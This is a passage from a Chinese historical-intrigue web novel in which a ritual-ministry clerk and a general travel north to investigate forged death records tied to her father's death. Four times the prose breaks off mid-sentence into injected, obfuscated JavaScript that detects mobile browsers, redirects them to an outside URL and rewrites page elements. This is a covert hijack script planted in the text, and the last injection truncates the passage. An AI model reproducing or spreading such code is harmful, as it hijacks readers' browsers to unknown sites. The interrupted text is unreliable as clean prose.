“我父亲名叫季怀川,原是礼部员外郎。按理说,以他的官职,死后纵然丧仪由凶礼司经手,也只是走寻常流程,核旧例、排停灵、写祭文。可我这两日翻旧案时,却在景和九年的散档里翻出了他的预拟底档。”她抬起头,眼底那点平日藏得极好的圆滑和玩笑都淡了下去,只剩一种极冷静的执拗,“将军应该明白预拟两个字意味着什么。王公贵族、朝中重臣才需要预拟丧仪,因为他们死得突然会乱朝廷体面,会惊动许多人。可我父亲不过是个小小礼部官员,他不该有预拟底档。” 她停了一下,像是怕自己说得太快,气息乱了,便又极轻地吸了一口气,才继续往下说:“不止如此。那份旧档里的日期,是在我父亲病倒前三日写下的,而且预拟的死因正是暴病身亡。也就是说,在他真正病倒之前,凶礼司便已经替他备好了丧仪。我父亲当年对外说是积劳成疾,忽然倒下去便没再起来。可若这份预拟底档是真的,那他那场病,至少不是我以为的那么简单。” 日光从宫墙上方斜斜照下来,落在她侧脸上,照得那点本就极淡的血色更浅了些。她平日总是一副轻轻松松、再大的事也能笑着往后绕的模样,此刻却站得很直,像把她整个过往一并压了出来。 “还有冯院判。”她说,“冯嵩这两日特地来调景和九年的暴病旧案,可他却刻意避着我,不想让我插手。这只说明一件事,他知道我父亲的案子里有东西,也知道一旦我查下去,迟早会看出不对。” 季柠说到这里,微微抿了抿唇。她这人平日最爱给自己留后路,可一旦真正认准了什么,反倒会露出一种近乎执拗的狠来。这一点宋昭早在西郊石桥那张便条上便看出来了,只是此刻她自己说出口,比他猜到还要更清楚几分。 “所以我不能走。”她终于抬眼看向宋昭,声音不高,却稳得很, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548098|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我若离开京城,这条线就又要断了。父亲的旧案被人压在未归档库里这么多年,眼下好不容易露了一点头,我若这时候跟将军去了北境,等回头再想查,只怕连这点痕迹都不会剩。” 她说完这一长段,像是把心里压了许久的东西都摊了出来,胸口却反而更沉了些。因为她知道,自己这番话在情在理,可站在宋昭的立场上,未必足以说服他。 果然,宋昭听完之后,神色并没有什么明显变化。 他只是安静地看着她。 他的目光一向很沉,像北境冬日里压在城墙上的一层雪,冷静克制,不轻易被什么打乱。季柠知道,他在掂量,掂量她这番话里有多少真心,多少情绪,多少是不得已说出的底牌,又有多少仍旧藏着没说。 过了片刻,宋昭才开口:“说完了?” 季柠原本已经做好了再同他周旋几句的准备,听见这一句,反倒微微一怔。她皱了皱眉,下意识道:“还不够?” “理由够了。”宋昭淡淡道,“只是你还是没说到最要紧的地方。” 季柠心里那点压抑已久的不耐烦终于又被他这副不冷不热的样子拱了上来。她今日从乙字号库翻出父亲旧案,又提着一颗心绕过冯嵩、进了宫、送完卷宗、再在宫门外白白等了这么久,到现在整个人都像是绷紧了一天的弦。偏偏宋昭从头到尾还是那副稳得叫人牙痒的样子。 她索性把那点火气也摊开了:“最要紧的地方?最要紧的地方就是,我一个礼部小官,要跟着将军去北境做什么?将军要带上我真的是因为军中缺人抄字写文吗?军营不是礼部值房,我既不会打仗,也不会行军,更不会替将军挡箭。将军带上我别有目的吧?” 说到这里,她自己都觉得有些荒唐,忍不住又补了一句,语气里带了点难得的自嘲:“将军早就怀疑我了不是吗?把我这么个隐患带在身边,我就没法在你眼皮底下做小动作了是吧?” 宫墙下安静了一瞬。 她这句本是半气半刺,谁知宋昭听完,竟当真极轻地动了动唇角。那点笑意薄得几乎看不出来,却还是叫季柠心里猛地一噎,仿佛自己方才那番带刺的话都一拳打到了棉花上。 “季柠。”他终于缓缓开口,叫她名字时语气比平日更沉一些,“我一定要把你带去北境,的确不是为了让你记录什么礼制。” 他顿了顿:“而是因为你父亲当初的死,原因根本不在京城。” 季柠心口猛地一跳。 她下意识抬起头,几乎以为自己听错了。 宋昭却像早知道她会有这反应,神色平静得很:“前几日我派人调查你们凶礼司的时候,还顺手查到了一件旧事。景和九年,北境曾送回京一批阵亡与病亡并录的旧军册,礼部当年重核过一次,只是不知为何当时负责重核的几位官员相继染病离世,后来这批档案重核的事儿就不了了之,当年的旧军册也全部被封进旧档。你父亲死前,最后经手的不是寻常礼册,而是那一批北境旧军册的礼制重拟。” 宋昭顿了顿,又补充道:“我本不知道这事儿与你父亲有关,是我在太医院的旧相识,前几日看到冯嵩去了好几次礼部凶礼司,感到蹊跷,打听了才知道他在找景和九年的旧案,我也是这才听说你父亲的名字。” 风从宫墙尽头吹过来,卷起一地细灰,又轻轻打在季柠裙角上。她站在那里,整个人像被人从头到脚浇了一盆冷水,只剩胸口那一点一点往下沉的心跳。 北境。 她父亲死前最后经手的东西,在北境。 宋昭看着她,眼神比方才更沉,也更冷静:“你留在京城,查到的只会是一层皮。真正的东西,早就不在凶礼司的库房里了。” “跟我去北境吧。” 15. 北上的路 季柠最后还是跟着宋昭北上了。 这件事真正定下来时,反倒没有她先前想象的那样惊天动地。皇上的旨意下来得很快,借调用的名头也十分体面,说她是礼部旧档掌簿,奉命随军北上,核对旧军册与伤亡礼制,既不算荒唐,也叫人挑不出什么错来。真正麻烦的,反倒是她自己那一点说不清道不明的别扭,京城里父亲的旧案还压在乙字号库的废簿之间,凶礼司里那些未归正册的散档也还没有翻完,她明明才在那团乱线里扯出一截线头,转眼却要被带离京城。 可宋昭那一日站在宫墙下说:“你留在京城,查到的只会是一层皮。真正的东西,不在这里。” 季柠最终还是答应了。 她不是那种会被一句话轻易说动的人,可若有人把刀尖直接递到她眼前,叫她看见父亲之死与北境旧册竟真的连在一处,她也实在做不到还死守着京城这点旧档不放。更何况,圣旨已经下来,她再不愿意,也不过是给自己多添一层抗旨的罪名,除了让周主事当场昏过去之外,并没有任何实在好处。 所以该交代的交代,该收拾的收拾,原本压在袖中的那张薄纸拓本被她贴身藏了起来,家里能打点的也都打点妥当。临出京那天,天色很好,城门上方一片高而淡的青,春日风里还带着京城未散尽的暖意。季柠回头看了眼城门,只觉得这一程去得突然,突然得像是谁从她手里生生抽走了一卷还没来得及看完的旧档。 京城到北境,按大军平日行程,差不多要走半个月。 只是宋昭这一行并不是押着辎重慢慢北返,也不算急行军。因着前段日子西郊伏击的缘故,此番随行人数并不算多,除却亲兵与几名心腹将领,余下都是轻骑与传令兵。队伍不大,走起来便比寻常军行要快些。季柠到底不是军中人,也不是寻常押送的文书,宋昭虽说要带她北上,却没真把她往军营辎重堆里一塞了事。她有一辆单独的马车,不算多华贵,可四壁结实,里头铺了厚垫,连车窗上都裹了一层挡风的软帘,比她从前去礼部外差时坐过的那些临时套来的破车不知好上多少。 季柠上车时,还特意看了眼车里那层新添的绒毯。 毯子颜色深,边角压得很平,一看便是临时备下来的新物。她伸手捏了捏,料子比她想的更厚。北上的路才刚开始,天气还未真正转冷,这东西眼下瞧着似乎有些多余,可若往后越走越北,风一日日硬起来,它便正好派上用场。 霍青在旁边看她打量,先咳了一声,才道:“将军说,北边夜里凉,路上若赶不上投宿,车里总要暖和些。季大人别多想,军中没那么多讲究,备得粗了点,能用就成。” 他说完这话,自己也觉得有点怪。堂堂镇北将军带兵回北境,给一个礼部掌簿准备车马毯子,本来该是件顺手小事,可他这几句解释一出口,倒像生怕人家不信是顺手似的。霍青这人平日里最不擅长说这种委婉话,越想说得自然,越容易说得别扭。季柠看了他一眼,心里多少明白了几分,却也没点破,只笑眯眯地点头:“霍副将放心,下官不是不识抬举的人。能坐车不骑马,还给厚毯子,这已经算是礼部外差里顶有排场的一遭了。” 一路北上,头三四日走得都还算安稳。 京城附近到底是天子脚下,道路平整,沿途城镇也多。白日里车马过原野,偶尔还能看见田间劳作的农人和路旁叫卖的茶棚。到了傍晚,若赶得及,宋昭便会带人宿在驿站或客栈。那些地方自然远比不得将军府和京城高门整洁,却总比风餐露宿强上许多。季柠最开始还担心自己一个女官混在一群军汉中间,多多少少要生出些不便,可真上了路才发现,宋昭的人比她想的规矩得多。她的马车永远停在最里侧,夜里住店时也总有单独一间屋子,虽说不大,却收拾得齐整。亲卫和军官们见了她,大多也只是恭恭敬敬叫一句“季大人”,目光并不多停,像是早被人交代过什么。 这份规矩叫季柠轻松了不少,却也莫名让她更不自在。 她知道,这不是他们自己生出的分寸,而是有人提前替她把这些分寸划好了。那个人不用想也知道是谁。偏偏宋昭自离京之后,便又恢复了最初那副疏冷模样。白日里他多半在前头骑马,和几位将领商议行程、换防、补给、沿路探哨之事,很少往她这边看。到了客栈,他也只是简单用饭、看军报、夜里再和霍青他们议事,几乎没同她单独说过几句话。偶有交集,也不过是“今日路程稍长”“前方风大,把帘子放下”这样几句不冷不热的交代,说完便走。 季柠起先还觉得这样挺好。 她这些日子脑子里装着父亲旧案、景和年间的散档、冯嵩和那一批不知藏在北境哪里旧军册,实在也没多余心力去应付宋昭。如今他不来找她,她便乐得在车里抱着随军带着的卷宗慢慢翻,把能记下的名字和年份誊进随身的小簿子里,偶尔再掀帘看一眼外头天色和地形,只觉得日子虽颠簸,倒也算各自相安。 可人有时就是这样,真叫她全然不被理会,她心里反倒又会生出些说不清的别扭。 宋昭到底是防着她。 他带她北上,却又像把她装进了一只结实好用的匣子里,平安带着走,却始终没真正打开来细看。他仍旧疑心她,疑心到连最寻常的闲话都不肯多说半句。她有时坐在马车里,透过车窗去看前头他的背影。那人骑在马上,肩背挺直,连马缰都握得极稳,偶尔侧头同霍青说话,轮廓在日光下冷而清晰。那样一个人,带着她北上,给她安置车马、客栈、路上种种方便,却偏又始终像隔着一层看不见的冰,半点不肯叫她摸到里头去。 季柠有时想,这人真是麻烦透了。 要怀疑便彻底怀疑,要防着便彻底防着,偏偏又做这些看着不像防备、倒像照顾的事。她最烦的就是这种说不清道不明的分寸,叫人想谢也不是,不谢也不是,最后只能独自在车里咬牙切齿地翻旧案,连笔尖都比平日重了两分。 走到第六日时,路边的城镇已渐渐稀了。 官道仍平整,却比前几日更开阔,放眼望去,草色一路铺到天边,偶有树林起伏,风一吹,便是一层层连绵起伏的绿浪。天也比京中显得更高,云走得快,日光一会儿亮一会儿暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548099|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,照得行路人的影子长长短短。北地的气息一点点显出来了,风里少了几分潮润,多了几分干净利落的凉爽。 这日中午行得慢些,队伍在一片林边歇脚。亲卫们喂马的喂马,取水的取水,霍青在不远处和人看地图,声音断断续续传过来。季柠没有下车,只把窗帘挑起一道缝,借着风翻看手里的小簿子。那上头记的全是她这些日子从旧案和记忆里拼出来的东西,字写得小而密,像一张一点点收紧的网。 车外忽然响起两下轻轻的叩击声。 季柠一愣,先是以为霍青又来送什么军中的粗点心,抬头一看,却见车窗外映着一道修长而沉的影子。她心口不知为何轻轻一跳,指尖先一步合上了簿子。 “谁?”她明知故问。 “我。”窗外的人答得很简短。 果然是宋昭。 季柠坐在车里,莫名有些想笑。这人平日里从不往她这边来,今日却忽然站在车窗外,倒像日头西边出来了。她压下那点说不清的异样,把窗帘再挑开些,望出去时已是一脸无辜:“将军找我?” 宋昭站在车外,背后是林间筛下来的碎光,落在他肩上、眉上,也照得他眼底神色比平日更淡些:“方便进去?” 这倒叫季柠一怔,她下意识往自己身边那一摞旧案和小簿子上扫了一眼,随即笑道:“将军若不嫌这车里都是纸和灰,自然方便。” 宋昭没有多说,伸手掀开车帘,低头进来。 车厢本就不算大,他这一进,整片空间顿时显得逼仄了不少。车里原有的旧纸和木头味里,忽然便混进了些外头日晒过的风尘气和他衣上极淡的冷松香。季柠平日里总觉得自己这辆车还算宽敞,可眼下宋昭坐到对面那一瞬,她却莫名觉得四壁都跟着近了些。外头风还在吹,吹得车帘轻轻动,日光透过晃动的缝隙一线线扫进来,在他肩背和膝前投下明暗不定的光影。 宋昭并没有立刻开口。他的目光先落在她手边那叠旧案上,又扫过她刚合上的小簿子,最后才停在她脸上。 季柠被他看得心里微微发毛,只能先发制人似的笑道:“将军突然来找我,不会是终于觉得我这一路上太安静,有些不习惯吧?” 宋昭听了,倒也没驳她,只淡淡问了一句:“你这几日在车里,便一直看这些?” “将军把我从京城带到北边,总不能指望我坐在车里数车轮子。”季柠答得不紧不慢。 宋昭膝上搁着未出鞘的短刀,手指轻轻搭在刀鞘边缘,像是在斟酌什么。过了片刻,才终于看着她道:“我今日来,正是要问你一件事。” 季柠心里那点因狭小车厢而生出的莫名不自在,顿时被这句话压了回去。她收起脸上的玩笑,抬眼看他:“什么事?” 宋昭的视线落在她身后的旧案上,语气低而平:“凶礼司所谓预拟丧仪,难道不是只记规格、停灵、发丧、哭灵这些东西便够了吗?” 他停了一下,目光重新移回她脸上。 “为什么连死因、事出经过,甚至死在哪条路上,都能记得那么清楚?” 16. 写好的死地 车厢里一时很静,只有外头马蹄踏过官道时传来的闷响,一下一下透过车板传进来,像是将话题底下那层看不见的紧绷一点点敲实了。宋昭坐在她对面,背后是被风掀得偶尔轻晃的车帘,日光从缝隙里漏进来,落在他肩头和膝上,将那身深色衣袍照出几分冷硬的纹理。他方才问那一句时,语气甚至算得上平静,可季柠知道,这人一旦把问题这样直截了当地抛出来,便说明他心里早已把前后种种想过一遍,如今只是要从她这里补上最后那一块空白。 季柠低头理了理膝上的旧案,手指在发黄纸页边缘轻轻摩挲过去,半晌才开口:“正常的预拟丧仪,只该拟礼,不该拟案。棺木规格、停灵日数、哭灵名册、发丧路线、祭文分寸、谥号高低,这些才是凶礼司真正该提前备着的东西。因为人还活着,事情没有发生,谁也不该替他把死前那一段写得太清楚。若连怎么死、死在哪里、因为什么死都一并写实了,那就不叫预拟,倒像是先把案子判完,再倒回来补礼制。” 她说到这里,抬眼看了宋昭一眼,见他仍旧安静听着,才继续道,“不过凡事总有例外。丧仪规格高低,本就与死因相关。若是寿终,礼数是一套;若是病故,又是一套;若是殉国、战死、殉职,朝廷要给的体面便更高。就拿将军第一次那份底册来说,既写忠烈战死,那停灵、哭祭、发丧、抚恤便都得按武将殉国的旧例往上抬;第二次若改成暴病身亡,丧礼自会从简,许多不该惊动的人也就不必再写进名册里。死因,有时确实要先拟。” 她这番话说得不紧不慢,既解释了规矩,也把为什么底册里会有死因这一层点明白了。可说完之后,她便极自然地停了下来,并没有把真正最要紧的那句一并说出口。 正常底册会拟死因,却不会拟到宋昭那样,连西郊石桥、北营官道、遇伏中箭都写得分毫不差。那才是最不对劲的地方,也是她在将军府听见霍青说出路线后,真正生出寒意的缘由。 可她没有说。 她仍旧不算全然信他。 北上这一路,看似是宋昭带着她,给她车马,替她从京城那一团线里硬生生扯出另一条路,可她心里那根弦却始终没有彻底松下去。她知道宋昭如今最想查的是什么,也知道自己父亲之死恰恰是眼下最容易拿来撬开她嘴的一把钥匙。 宋昭若只是为了查西郊那一局、查凶礼司、查那几份底册,他未必不会把“你父亲的旧案”当成顺手拎出来的诱饵。她不是不信他这个人,而是不信任何一个身在局中的人会平白无故替别人讨公道。 车厢里沉默了片刻,外头的风掀起车帘一角,又很快落下。宋昭看着她,目光比方才更沉静了些,像是在分辨她这番话里究竟有多少是真,多少是她留给自己的后手。过了片刻,他才淡淡道:“所以你那日拿到我的底册时,觉得不对,不只是因为它写了死因。” 季柠心里微微一紧,面上却半点不露,只垂眼笑了笑:“将军这话问得巧。下官是礼部掌簿,不是刑部断案的。看见底册写得细,自然觉得奇怪,可奇怪归奇怪,也不至于立刻就知道哪里错得最厉害。凶礼司这种地方最不缺的就是晦气和怪规矩。” 宋昭没有被她这句话轻轻带过去。他看得出来,季柠方才那番解释虽说得周全,却分明留了一层。她说了为什么要拟死因,却没说为什么不该拟事出经过;她说了礼与死因之间的规制关系,却偏偏把最关键的那点蹊跷藏了回去。这种留白他并不陌生,在朝堂上、战场上、甚至昨日宫宴里,他都见过太多。只是季柠这样的人,把自己的防备藏得既轻又稳,倒叫人很难一把将她逼到底。她怕是真怕,疑也是真疑,可偏偏怕归怕,疑归疑,该伸手的时候她还是伸了手。 宋昭静静看了她一会儿,忽然从袖中取出一张折得极平的纸,递了过去。 “那你看看这个。” 季柠一怔,下意识伸手接住。纸张并不新,边角微卷,显然不是从礼部誊抄房里刚写出来的清白文书,倒像是从某本旧册上摘出来的抄页。她展开一看,只见上头密密写着三十九个名字、军籍、调令日期和死亡记录,格式与朝中普通礼册不同,倒更像边军内部按月归整的伤亡和调补簿。 景和九年,北境旧军册抄页。 季柠心里一跳,抬头看了宋昭一眼。他神色依旧平平,像这张抄页不过是顺手从哪本军册里撕下来的一页纸,而不是他昨夜在宫里或者军中费了力气才找来的东西。她低头继续看,先是快速扫过最上头那几行,随后视线慢慢落到其中一个名字上,指尖也跟着停住了。 赵槐。 军籍,北营前锋营。 调令日期,景和九年九月十七,调往鹿鸣坡哨口。 死亡记录却写的是,景和九年九月十二,于鹿鸣坡巡防时中箭身亡。 季柠的呼吸轻轻一顿。 她盯着那两行字看了片刻,又低头去核对前后几人的调令与伤亡。旁人的先后尚且说得过去,唯独赵槐这一条像是生生被人错写进了不该在的地方 ——他九月十七才被调往鹿鸣坡,可九月十二的死亡记录里,便已经把他死在鹿鸣坡写了进去。 这不是简单的誊错,边军旧军册里,调令和伤亡是分列两栏的,文吏再糊涂,也很难把一处地名这样不偏不倚地提前写进去。唯一的解释是:在赵槐被正式调去鹿鸣坡之前,已经知道他会死在那里。 季柠慢慢抬起头,眼底第一次有了掩不住的冷意:“这不是错册?” “不是”宋昭道。 “若只是随军文吏誊录出错,最多会把日期写乱、军籍写错,绝不会把一个人还没去过的死地提前写进伤亡簿。”季柠将那张抄页重新展开,目光停在赵槐的名字上,声音低了下去,“这和您的底册是一样的。不是先有死,再补文书;而是文书里先写了他会死在那里。” 车厢里不大,外头虽有风,里头却仍旧存着她方才翻旧案时留下的纸墨气。日光从车帘缝隙里漏进来,落在抄页发旧的纸面上,照得那行“鹿鸣坡”三个字格外清晰,也照得季柠脸上的神色比方才更沉了几分。她原本一直怀疑,宋昭此番带她北上,是想借她凶礼司的身份和父亲旧案来顺藤摸瓜;可眼下这张抄页一递,她才第一次真切地感觉到,宋昭也并不是空手来试探她。他自己手里,也已经抓住了某条线头。 这个认知让她心里那层始终绷着的防备微微松了一丝,却又随之生出另一层更难以言明的复杂来。她不喜欢把自己放进旁人的局,可若有人同样握着残破的证据,在一路北上的车厢里安静地递给她看,那感觉便又和单纯被利用不太一样。 宋昭看着她,见她久久不语,才淡淡道:“这是我离京前找到的一批景和九年的旧军册。这一页是我抄下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548100|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的。若不是你父亲死前碰过那一批旧册,我未必会留心这种一眼看上去像文吏誊错的小地方。” 季柠握着那页纸,指尖微微收紧,她一时没再轻飘飘地装糊涂。 “所以将军今日来问我,预拟丧仪为什么会写得那样细,”她低头看着纸页,声音不自觉放轻了些,“不是单纯来试我。” “试你也有。”宋昭说得十分坦然。 季柠:“……” 她方才心里好不容易生出来的那点复杂,顿时又被他这一句噎得不上不下。她抬眼看了他一下,原本还想说句什么,宋昭却已经慢慢将目光落回她脸上,眼底却多了几分不同于最初的沉静:“你说得对。正常预拟只该拟礼,不该拟案。可我想知道的是,凶礼司为什么会允许那样一份底册存在。现在再加上这张旧军册抄页,事情便更清楚了。” “清楚什么?”季柠问。 “有人不只在替活人备丧仪。”宋昭低声道,“还在替死人提前写死地。” 这话一出,车厢里便静了下来。 外头偶有马蹄踏过碎石的声响,风从车帘外掠过去,卷得帘脚轻轻一晃。车轮还在向北走,路旁景色一寸寸往后退,可车厢里却像被这句话压得忽然慢了半拍。季柠低头看着赵槐那一条死亡记录,心里缓缓沉下一块冷石头。若说宋昭那两份底册还可以勉强解释成有人先设计了他的死局,再把它写进凶礼司,那赵槐这样的无名士兵呢?一个前锋营的小兵,若连他的死地都有人提前写好,那这么多年这只背后的手究竟害死过多少人? 她忽然想起父亲那份预拟底档上被浓墨划去的字,想起“奉命重拟”“不可外泄”“冯嵩验”这些残词,也想起自己从小到大一直信着的那个说法:父亲不过是积劳成疾病倒,再也没起来。 若北境旧军册与凶礼司底册真能这样互相印证,那父亲当年查到的,恐怕远比她现在以为的更深。 她心里一点点发冷,抱着那页抄纸,半晌没有出声。车厢很小,他们离得其实不远,可这一刻谁都没有说话,倒像有一种比平日更奇怪的安静慢慢在两人之间生出来。那安静里有提防未散,有试探未消,也有某种先前一直若有若无、此刻却好像稍稍落了实处的默契。 季柠忽然觉得,北上这一路的风声、车声和那些没说出口的话,都在这小小车厢里碰到了一处。 她刚想开口,车外忽然传来霍青的声音,急而不乱,隔着车帘也带着他那种永远压不住的利落劲儿:“将军,前头青梧驿到了,驿中有人等着。” 宋昭偏头:“谁?” “太医院的人。”霍青的声音里带了点明显的狐疑,“说是杜医官,奉圣上口谕,往后随军北上,替将军复诊旧伤。” 车厢里骤然一静。 季柠下意识抬头,宋昭的目光也在同一瞬落了过来。那一眼极短,却已经足够将两人方才未说完的话全都压回心里去。冯嵩没来,来的却是另一个太医。“暴病身亡”的第二种死法看似被搁置了一路,却偏偏在他们离京数日、北上半途时,换了一张更不显山露水的面孔,又静静地站到了前方驿站里。 车外风声一阵紧过一阵,吹得帘角轻轻拍在车壁上。远处驿站的屋脊已隐约可见,暮色压下来,檐下灯火也跟着亮起一盏一盏,像一只只耐心等在路边的眼睛。 杜医官。 17. 青梧驿 季柠抱着那卷北境旧军册抄页,刚从车里下来,便瞧见院中已经站着一个生面孔。 那人穿一身太医院常服,颜色很净,袖口扎得利落,肩上披着件薄毛氅,站在暮色里,挺拔清整。他生得同冯嵩全然不同,不是那种药柜里浸久了的苦冷,而是一种刻意收敛过锋芒的文雅。眉眼端正,唇边甚至还带着一点温和笑意。 霍青已经翻身下马,快步上前同那人说了两句。那人随即转过身来,朝着宋昭行了一礼,动作不卑不亢,连衣袖拂过身前的弧度都恰到好处:“下官太医院医官杜衡,奉圣上口谕,随军北上,为将军复诊旧伤。北境寒极之地常有旧寒成疾,下官若留在北地,也可与军医一道诊治寒疾,不负陛下差遣。” 这番话说得体面至极,皇帝体恤功臣,遣太医院医官随军复诊旧伤,是恩。北境苦寒,旧寒成疾者甚多,太医院医官顺势留下来同军医一道义诊,是仁。无论从哪一层看都挑不出错。 秦岐站在一旁,脸色却不算太好。 眼下突然从京里空降下来一个太医院医官,说是来替将军复诊旧伤,还顺带在北地义诊寒疾,秦岐却先下意识想:北境的风寒和伤兵,他自己这些年难道还治得少了,何须再从太医院挑一个人来帮忙? 可不痛快归不痛快,面上总得过得去,知道这人是皇帝派来的,便只淡淡拱了拱手,没有多说。 宋昭站在驿站阶下,听完杜衡那番来意,神色并没有明显变化。他今日穿的是一身便于行路的玄色常服,风尘一路,眉眼比京中更冷硬些。杜衡那番话于他而言,显然并不新鲜。此刻他只垂眼看了杜衡片刻,便淡淡道:“有劳。” 没有多问,也没有多谢。既不拂了皇帝的面子,也不曾给这位新来的太医多余的台阶。 只见杜衡与宋昭寒暄过后,又转向秦岐,从袖中取出一张折得极平的方子来,笑意温和依旧:“来之前,太医院同几位老院判依着将军旧伤旧脉拟过一张方子,与之前冯院判那张有相辅相成之效。下官虽不敢说比军医更懂将军这些年的伤,可宫中旧案和北地寒极之症,多少还是看得些。这方子先给秦医官过一遍,若无不妥,日后也可慢慢温补着用。” 秦岐纵然心里有再多不乐意,也不好当着将军和众人把那张方子推回去,只能沉着脸接过,站到廊下灯火稍亮处,皱着眉一味味往下看。 季柠站在一旁,原本并不打算凑这个热闹,她不通医理,这一点她自己十分有数。 但也许是这几日接连翻旧案、看脉案看得太多,杜衡方才摊开那张方子时,她眼角余光先瞥见的是药方边上那几句随手记下的医案小注。像是太医院惯用的那类脉案格式:旧伤积寒,筋络不舒,阴雨则痛,夜间尤甚,宜温经和血,缓调徐补,不可骤攻。 这几句本身没什么问题,可季柠偏偏觉得眼熟。 她在乙字号库里翻过父亲旧案,又在旧簿底下摸到过几页被凶礼司压下去的脉案残页。那些年头久远的纸页上,写的也是类似的措辞。 她心里微微一动,下意识又多看了一眼。 秦岐这时已经将那张方子看到了底。 他看得很细,时不时用指尖在其中几味药材上点一点,眉头由紧转松,最后竟沉沉吐出一口气,像是不得不承认一件自己并不想承认的事:“药性平和,君臣佐使也配得稳,确实是张好方。比起前几日宫里那张,还更温些,若照方煎煮,用来调旧伤倒是合适。” 杜衡站在一旁,听了也只是微微一笑,没有露出半点得色,甚至还带着几分医者之间彼此体谅的谦和:“秦医官在边军多年,日日见的都是真刀真枪落在身上的伤,自然比下官更知道将军旧伤痛在何处。下官不过是依太医院旧脉案进行的揣摩而已。” 季柠原本不该在这时候开口。 她是礼部掌簿,不是医官,更不是将军府家臣。一个不懂医理的人,在一群大夫和将军面前插手药方与医案,本就不合适。可她盯着那方子边上的小注看了半晌,心里那股熟悉又别扭的寒意到底还是一点点浮了上来。 她抱着卷宗往前走了半步,语气像是顺着规矩办事的样子:“按理说,下官一个礼部掌簿,不该多嘴药理的事。不过既然眼下太医院医官奉旨随军,往后所有与将军旧伤相关的方子、医案和药渣,照旧例都该留底封存,以备回京后有据可核。下官既随军带着礼部规制,倒正好能把这一项一并记上。” 这番话一出,院中几个人都看了她一眼。 杜衡却笑了,他生得本就端正,笑起来时眉眼更显温和,仿佛半点不把这句话放在心上,甚至还带着一点宽容的好脾气。 “季掌簿好大的规矩。”他说得极轻,听不出半分恼意,反倒像在同一个越界却不自知的小官说笑,“下官行医多年,还是头一回见礼部的人要来封存药渣。若照这般细法,往后将军每回咳一声,凶礼司岂不是都要添一页底册?” 这话说得里头暗藏着刺,真要追究起来,便是她一个礼部小吏拿着鸡毛当令箭。 她抱着卷宗站在廊下灯火里,脸上也带着笑:“将军旧伤如今既是宫中挂着心、太医院一路随诊的大事,那便不只是医家的事,也关礼部记档。方子留底,医案封存,药渣验看,本也不算什么过分的规矩。总归——” 她轻轻顿了一下,目光从那张方子上,再抬眼看向杜衡。 “有据可查,才最稳妥。” 话音落下,已是针锋相对。 风从驿站门外卷进来,吹得灯火轻轻摇了一下。杜衡脸上的笑意并没有散,只是眼底那点原本温润的光稍稍淡了淡。他显然没想到,一个礼部掌簿敢拿规制这块牌子硬生生横进医案和药方里。更没想到的是,季柠说这话时竟半点不像争口舌,倒真像打算把这件事一板一眼地记进册里去。 院中一时静了下来,而宋昭就站在众人视线的中央。 他没立刻开口,只偏过头看了季柠一眼。季柠能感觉到,那目光落在自己脸上时,比方才车厢里又深了一层。 季柠站得很直,怀里还抱着那堆景和九年的旧案,脸上那点平日里用来讨巧卖乖的笑意也没全收,偏偏眼底却是很少露出来的硬。宋昭忽然想起前几日宫门外,她一边急着同自己解释,一边又死不肯松手的模样。 片刻之后,宋昭终于开口。 “封存。” 这两个字落下来时,院中所有人都微微静了一下。 宋昭只慢慢将目光从季柠脸上移开,落回杜衡身上,语气仍旧是平平的,却透着一种不容置疑的强势:“从今日起,所有随军医案、药方、药渣,一并留底,不得擅弃。秦岐与礼部掌簿共同记档,谁若有异议,直接来同我说。” 在场的人都听明白了。 将军当着所有人的面,站在季柠这一边,把她方才那句原本听来像越权的要求,一字不改地压成了将军军令。 季柠心口微微一跳。 她原本并没有十足把握宋昭会顺着她。毕竟他这一路上仍旧处处留着疑心,像今日车厢里那样安静递她一张抄页,已算是难得的松手。她没想到,宋昭会在这样众目睽睽之下,半点不给杜衡留面子,也半点不给她留退路似的,直接站到她这边来。 这种感觉很奇怪。 像是一个人明知你身上还带着疑点,却依旧当着旁人的面替你把场子立住。不是全然信任,却比单纯的保护更叫人心口发紧。 杜衡脸上的笑意终于淡了些。 可他到底是太医院出来的人,体面已经刻进了骨头里,哪怕被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 